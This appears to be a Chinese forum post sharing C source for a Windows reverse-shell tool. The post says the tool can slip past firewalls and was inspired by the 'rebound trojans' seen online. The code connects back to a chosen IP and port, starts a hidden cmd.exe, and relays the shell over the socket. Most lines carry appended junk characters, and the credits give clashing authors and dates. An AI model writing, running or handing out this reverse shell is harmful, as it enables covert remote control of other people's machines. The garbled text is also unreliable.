这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !^-OfqIHfV
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/* ============================== 7P
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Rebound port in Windows NT gtMw3D`FL
By wind,2006/7 cTy'JT7
===============================*/ =G*z
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#include :i}@Br+R7L
#include D=JlA~tS>
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#pragma comment(lib,"wsock32.lib") Ta^.$O=F
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void OutputShell(); iAgOnk[
SOCKET sClient; _E(x2BS?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wE8]'o
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void main(int argc,char **argv) eN4t1$
{ -zR.'x%
WSADATA stWsaData; g kn)V~ij
int nRet; >-eS&rma
SOCKADDR_IN stSaiClient,stSaiServer; SNN#$8\
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if(argc != 3) K9^ "NS3
{ xjE7DCmA
printf("Useage:\n\rRebound DestIP DestPort\n"); _V&x`ks
return; *cPN\Iu.W
} ZLuPz#
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WSAStartup(MAKEWORD(2,2),&stWsaData); yE<,Z%J[n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Lc8fP$
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stSaiClient.sin_family = AF_INET; CxkMhd8qz
stSaiClient.sin_port = htons(0); nqrDT1b**
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >I|<^$/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zv,\@Z9.($
{ i:{:xKiC a
printf("Bind Socket Failed!\n"); PQ i
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return; 5e)i!;7Uv
} >r~|1kQ.
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stSaiServer.sin_family = AF_INET; ^SgN(-QH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |Cu1uwy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !*9FKDB{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y]w )`}Ax
{ r<v_CFJ
printf("Connect Error!"); o;E(Kj
return; =m7C Jc
} 8pd&3G+
OutputShell(); k~& o
} *XHj)DC;
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void OutputShell() M *v^N]>"G
{ 9Il'E6
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char szBuff[1024]; =#jTo|~u4o
SECURITY_ATTRIBUTES stSecurityAttributes; [+_\z',u
OSVERSIONINFO stOsversionInfo; } mgVC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aE}=^%D
STARTUPINFO stStartupInfo; \;iG{}(
char *szShell; KLON;
PROCESS_INFORMATION stProcessInformation; Z`|> tbOfZ
unsigned long lBytesRead; 2UQN*_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wQ@Zwbx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5VuCU
stSecurityAttributes.lpSecurityDescriptor = 0; B5D3_iX]
stSecurityAttributes.bInheritHandle = TRUE; EkDws`@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e<kpcF5{\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =P1RdyP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PKl]GegP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MK<
stStartupInfo.wShowWindow = SW_HIDE; !'+\]eA
stStartupInfo.hStdInput = hReadPipe; <##|311o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fi5YMYd1
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GetVersionEx(&stOsversionInfo); ^*HVP*
{`($Q$Q1
switch(stOsversionInfo.dwPlatformId) QziN]
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case 1: g9M')8a n
szShell = "command.com";
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break; C3]\$
default: K<D`(voL
szShell = "cmd.exe"; lp?i_p/z
break; 8.:B=A
} Q S5dP
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fLLnf].O
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send(sClient,szMsg,77,0); D1oaG0
while(1) od;Bb
{ d&O'r[S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #($k 3OA
if(lBytesRead) ?T tQZ
{ dl7Riw-J
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q]yV:7
send(sClient,szBuff,lBytesRead,0); wgC??Be;ut
} lp IteZw:
else )e@01l
{ #FrwfJOV
lBytesRead=recv(sClient,szBuff,1024,0); C3&17O6
if(lBytesRead<=0) break; "bv,I-\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x8\E~6`,
} xgZV0!%
} n ;Ql=4
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return; b #o}=m
}